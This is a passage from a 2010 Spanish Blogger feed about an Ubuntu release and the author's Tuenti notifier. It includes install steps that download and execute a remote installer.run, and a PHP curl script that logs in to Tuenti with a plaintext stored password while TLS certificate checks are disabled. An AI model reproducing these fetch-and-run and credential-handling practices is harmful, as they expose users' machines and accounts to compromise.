Grub'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S9rXvK4rEpI/AAAAAAAAAdU/H8jNLf9tesI/s72-c/lince-iberico-lucid-lynx.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4422949205351771608</id><published>2010-04-30T15:10:00.000+02:00</published><updated>2010-04-30T15:10:48.446+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>¡Que viene el lince! - Ubuntu 10.4 Lucid Lynx lanzada</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S9rV_qK4PCI/AAAAAAAAAdM/7rLx6J6-Hbw/s1600/lince-iberico-lucid-lynx.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S9rV_qK4PCI/AAAAAAAAAdM/7rLx6J6-Hbw/s320/lince-iberico-lucid-lynx.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Los usuarios de la popular distribución &lt;b&gt;Ubuntu&lt;/b&gt;, estamos de &lt;b&gt;enhorabuena&lt;/b&gt; ya que ha sido lanzada la &lt;b&gt;nueva versión&lt;/b&gt; 10.4, con &lt;b&gt;importantes&lt;/b&gt; cambios. Esta vez&amp;nbsp; prometieron gran &lt;b&gt;cantidad de mejoras&lt;/b&gt; como mayor integración con las redes sociales y mayor uso del cloud computing pero ha sido realmente así. En Karmic, &lt;b&gt;Ubuntu One&lt;/b&gt;, en Lucid, &lt;b&gt;Ubuntu Music Store&lt;/b&gt;, ambas herramientas útiles pero no imprescindibles.&lt;br /&gt;&lt;br /&gt;Como siempre para los que os queráis &lt;b&gt;actualizar&lt;/b&gt;, &lt;b&gt;esperar la semana de rigor&lt;/b&gt; porque ya se están &lt;b&gt;detectando bastantes fallos&lt;/b&gt;. En cualquier caso los que queráis instalarla ya adelante, los servidores no están tan cargados como dicen!&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4422949205351771608?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4422949205351771608/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/04/que-viene-el-lince-ubuntu-104-lucid.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4422949205351771608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4422949205351771608'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/04/que-viene-el-lince-ubuntu-104-lucid.html' title='¡Que viene el lince! - Ubuntu 10.4 Lucid Lynx lanzada'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S9rV_qK4PCI/AAAAAAAAAdM/7rLx6J6-Hbw/s72-c/lince-iberico-lucid-lynx.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2878308125883990884</id><published>2010-03-26T07:25:00.001+01:00</published><updated>2010-03-27T07:15:48.080+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Chivato-Tuenti'/><title type='text'>Presentación: Chivato Tuenti 0.1.1 By ZeYt</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S6xRmmMikWI/AAAAAAAAAc0/bUIgzjpsrTA/s1600/tuenti_advisor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S6xRmmMikWI/AAAAAAAAAc0/bUIgzjpsrTA/s320/tuenti_advisor.png" /&gt;&lt;/a&gt;&lt;/div&gt;Hoy lanzo la fase beta del programa que te avisa de las actualizaciones del Tuenti. Estamos&amp;nbsp; buscando fallos y tratándolos. Deja mucho que desear pero es mi primer programa que libero para el publico en general. He intentado craer el típico DEB pero es la de Dios, literalmente, más de una hora para hacerlo...&lt;br /&gt;&lt;br /&gt;En cualquier caso he creado un script instalador para debian y ubuntu. Las instrucciones a continuación.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S6xSCsONlsI/AAAAAAAAAc8/hkM8uohn-4A/s1600/Instalador_chivato_tuenti.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S6xSCsONlsI/AAAAAAAAAc8/hkM8uohn-4A/s320/Instalador_chivato_tuenti.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;wget http://www.mma-clips.com/zeyt/chivato-tuenti/instalador.run&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;chmod u+x instalador.run&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;./instalador.run&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez introducida la contraseña nos instalará las dependencias. Procederá a crear y mover los archivos. Nos pedirá nuestro usuario y contraseña y abrirá el programa encargado de añadir las tareas programadas. Añadiremos una tarea cada minuto que ejecutará el siguiente comando: &lt;b&gt;chivato-tuenti&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S6xTJvbbNQI/AAAAAAAAAdE/zDT8bSO4U54/s1600/tareas_programadas_gnome.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S6xTJvbbNQI/AAAAAAAAAdE/zDT8bSO4U54/s320/tareas_programadas_gnome.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Se aceptan, comentarios y sugerencias. Esta en fase BETA, no me hago responsable de nada.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2878308125883990884?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2878308125883990884/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/03/presentacion-chivato-tuenti-by-zeyt.html#comment-form' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2878308125883990884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2878308125883990884'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/03/presentacion-chivato-tuenti-by-zeyt.html' title='Presentación: Chivato Tuenti 0.1.1 By ZeYt'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S6xRmmMikWI/AAAAAAAAAc0/bUIgzjpsrTA/s72-c/tuenti_advisor.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2505884028150001517</id><published>2010-03-25T20:58:00.004+01:00</published><updated>2010-03-25T23:00:13.341+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Curl'/><category scheme='http://www.blogger.com/atom/ns#' term='Tuenti'/><title type='text'>PHP, Curl, Tuenti, Login, Parser - Notificador de tuenti.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S6fMbA54LYI/AAAAAAAAAck/5BG34pCkF0I/s1600/tuenti-0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S6fMbA54LYI/AAAAAAAAAck/5BG34pCkF0I/s320/tuenti-0.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S6vOgFkd2FI/AAAAAAAAAcs/RfRRFs7kM-E/s1600/tuenti_advisor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S6vOgFkd2FI/AAAAAAAAAcs/RfRRFs7kM-E/s320/tuenti_advisor.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Bueno seguimos trabajando un poco en el proyecto y vamos sacando cosillas y corrigiendo fallos. Aquí os traigo la otra versión del tuenti.php.&lt;br /&gt;El archivo clase_tuenti.php no será necesario para esta implementación.&lt;br /&gt;&lt;br /&gt;Ya no será necesario la librería zenity ya que usaremos la notificación de señales de Ubuntu y GNOME, conocida como libnotify.&lt;br /&gt;Para instalarla:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install libnotify-bin &lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Repasamos pues todas las dependencias:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-cli&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-curl&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install gnome-scheduler&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install libnotify-bin&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Archivos necesarios: &lt;br /&gt;&lt;blockquote&gt;Dentro de la carpeta que quieras # Recomendadio /home/usuario/Tuenti&lt;br /&gt;ico.png # Icono con imagen del tuenti o lo que quieras.&lt;br /&gt;tuenti.php&lt;/blockquote&gt;Como instalarlo:&lt;br /&gt;&lt;blockquote&gt;Una vez tengas los 2 archivos, (recuerda modificar los capos en rojo en tuenti.php por tus datos del tuenti y la carpeta donde lo ejecutes), creamos una tarea programada que se ejecute cada minuto en Aplicaciones &amp;gt; Herramientas del sistema &amp;gt; Tareas programadas&lt;br /&gt;El comando a ejecutar es php /home/tuusuario/Tuenti/tuenti.php&lt;/blockquote&gt;Si todo ha salido bien, cada vez que recibas una visita o tengas algún mensaje nuevo, te aparecerá un mensaje por pantalla informándote de todo. &lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tuenti.php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright 2010 Eduardo Ramirez Martinez-Esparza &amp;lt;zeyt@ZeYt&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is free software; you can redistribute it and/or modify&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it under the terms of the GNU General Public License as published by&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Free Software Foundation; either version 2 of the License, or&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (at your option) any later version.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is distributed in the hope that it will be useful,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU General Public License for more details.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should have received a copy of the GNU General Public License&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; along with this program; if not, write to the Free Software&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MA 02110-1301, USA.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #b45f06;"&gt;//CONFIG&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $usermail = "&lt;span style="color: red;"&gt;example@example.com&lt;/span&gt;";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $password = "&lt;span style="color: red;"&gt;example&lt;/span&gt;";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ruta = "/home/&lt;span style="color: red;"&gt;tuusuario&lt;/span&gt;/Tuenti/";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $archivo_visitas = "visitas.txt";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $cookie = "cookie.txt";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $opcion_mostrar_visitas = TRUE;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #b45f06;"&gt;//CONFIG&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;function login($usermail, $password, $tcookie){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ch= curl_init();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_URL, "https://www.tuenti.com/?m=login&amp;amp;func=do_login");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_POSTFIELDS, "email=$usermail&amp;amp;input_password=$password&amp;amp;timezone=1");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_POST, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_HEADER, 0);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, false);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $res=curl_exec ($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $res;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;function consult($url,$tcookie){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ch= curl_init();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_URL, $url);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_HEADER, 0);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, false);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $res = curl_exec ($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $res;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$resultado = consult("http://www.tuenti.com/?m=home&amp;amp;func=view_home",$cookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; if ((eregi("&amp;lt;h1&amp;gt;La sesión ha caducado",$resultado)) || (eregi("Por favor, introduce tu e-mail y contrase&amp;amp;ntilde;a de Tuenti para entrar.",$resultado))){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $login=login($usermail, $password,$cookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $resultado = consult("http://www.tuenti.com/?m=home&amp;amp;func=view_home",$cookie);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$info = explode("&amp;lt;ul&amp;gt;",$resultado);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$info = explode("&amp;lt;/ul&amp;gt;",$info[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$info = $info[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$info = str_replace("&amp;lt;/li&amp;gt;","&amp;lt;/li&amp;gt;\n",$info);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (eregi('&amp;lt;div class="eventImage"',$info)){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $info ="";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$info = strip_tags($info);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($opcion_mostrar_visitas){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $trozos = explode('&amp;lt;div class="views"&amp;gt;&amp;lt;strong&amp;gt;',$resultado);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $trozos = explode('&amp;lt;/strong&amp;gt;',$trozos[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas = $trozos[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas = str_replace(".","",$visitas);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (file_exists($archivo_visitas)){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = fopen($archivo_visitas,"r");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas_old = fread($f,filesize($archivo_visitas));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($f);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = fopen($archivo_visitas,"w");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($f);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas_old = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $mostrar_visitas = FALSE;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($visitas&amp;gt;$visitas_old){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = fopen($archivo_visitas,"w");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fwrite($f,$visitas);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($f);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $total = $visitas-$visitas_old;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $mostrar_visitas = TRUE;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime_visitas = "Has tenido ". $total ." visitas nuevas. Totales: ".$visitas;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $titulo = "Notificaciones tuenti:";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($info != ""){&lt;br 